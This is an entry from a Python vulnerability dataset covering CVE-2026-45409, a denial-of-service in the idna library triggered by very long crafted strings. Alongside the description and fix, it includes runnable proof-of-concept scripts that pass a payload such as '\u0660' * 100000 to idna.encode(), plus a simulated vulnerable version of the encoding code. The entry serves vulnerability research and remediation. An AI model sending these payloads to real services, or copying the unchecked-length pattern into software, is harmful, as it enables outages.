CVE-2026-45409

Denial-of-service in Python's IDNA library from crafted long inputs.

• CVSS 6.9
• CWE-1333
• Resource Management
• Remote

Internationalized Domain Names in Applications (IDNA) for Python provides support for Internationalized Domain Names in Applications (IDNA) and Unicode IDNA Compatibility Processing. In versions prior to 3.15, payloads such as `"\u0660" * N` or `"\u30fb" * N + "\u6f22"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process. This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. A specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service. Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support). A workaround is available. Domain names cannot exceed 253 characters in length. If this length limit is enforced prior to passing the domain to the `idna.encode()` function, it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

CVE

CVE-2026-45409

CWE

CWE-1333

CVSS base score

6.9

Published

2026-06-05

OWASP

A04 Insecure Design

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Resource Management

Subcategory

Resource Exhaustion

Accessibility scope

Remote

Impact

Denial of Service (DoS)

Affected component

Internationa

Fixed by upgrading

Yes

Solution

Upgrade the `idna` library to version 3.15 or later.

import idna
import time

# To observe the vulnerability, run this with a vulnerable version of the idna library, for example:
# pip install idna==3.6

# A large value for N causes a significant delay in vulnerable versions.
N = 200000
# Payload using ARABIC-INDIC DIGIT ZERO, which triggers expensive contextual checks.
vulnerable_string = "\u0660" * N

print(f"Attempting to encode a string of length {len(vulnerable_string)}...")
print(f"Using idna version: {idna.__version__}")

start_time = time.time()
try:
    idna.encode(vulnerable_string)
except idna.IDNAError as e:
    # The exception is expected as the string is invalid,
    # but the long delay before the exception is the vulnerability.
    print(f"Caught expected exception: {e}")
finally:
    end_time = time.time()
    elapsed_time = end_time - start_time
    print(f"Processing took {elapsed_time:.4f} seconds.")

import idna
import time

# This function simulates the vulnerable behavior where no initial length
# check is performed, leading to expensive processing for long inputs.
def vulnerable_encode_representation(domain_name):
    # In the actual vulnerability, complex checks like `valid_contexto`
    # would run here on the entire string before any length validation.
    # We simulate this with a simple sleep that is proportional to the
    # input length to represent a CPU-intensive task.
    try:
        # Simulate heavy processing that occurs before length rejection.
        # This is a stand-in for the complex Unicode processing.
        if len(domain_name) > 1000: # Trigger for very long strings
             time.sleep(2) # Simulate long processing time
    except Exception:
        pass # Ignore errors in simulation
    
    # The length check that should have been first is performed too late.
    if len(domain_name) > 253:
        raise ValueError("Domain name is too long")

    return idna.encode(domain_name)

# This function represents the fixed code.
# The fix is to reject excessively long inputs *before* any significant
# processing occurs, as described in the CVE.
def fixed_idna_encode(domain_name):
    # The fix: A strict length check is performed immediately.
    # This prevents the resource-intensive processing from ever starting
    # on an invalid, maliciously long input.
    if len(domain_name) > 253:
        raise ValueError("Domain name is too long")

    # The original, potentially expensive, processing now only runs on
    # inputs that have already passed the length validation.
    return idna.encode(domain_name)

import idna

# A large value for N to cause significant processing time in vulnerable versions
N = 100000

# Construct the payload based on the CVE description
payload = "\u0660" * N

# This call will consume significant resources and time on a vulnerable system
idna.encode(payload)

@misc{vaitp:cve202645409,
  title        = {{Denial-of-service in Python's IDNA library from crafted long inputs.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-45409},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45409/}}
}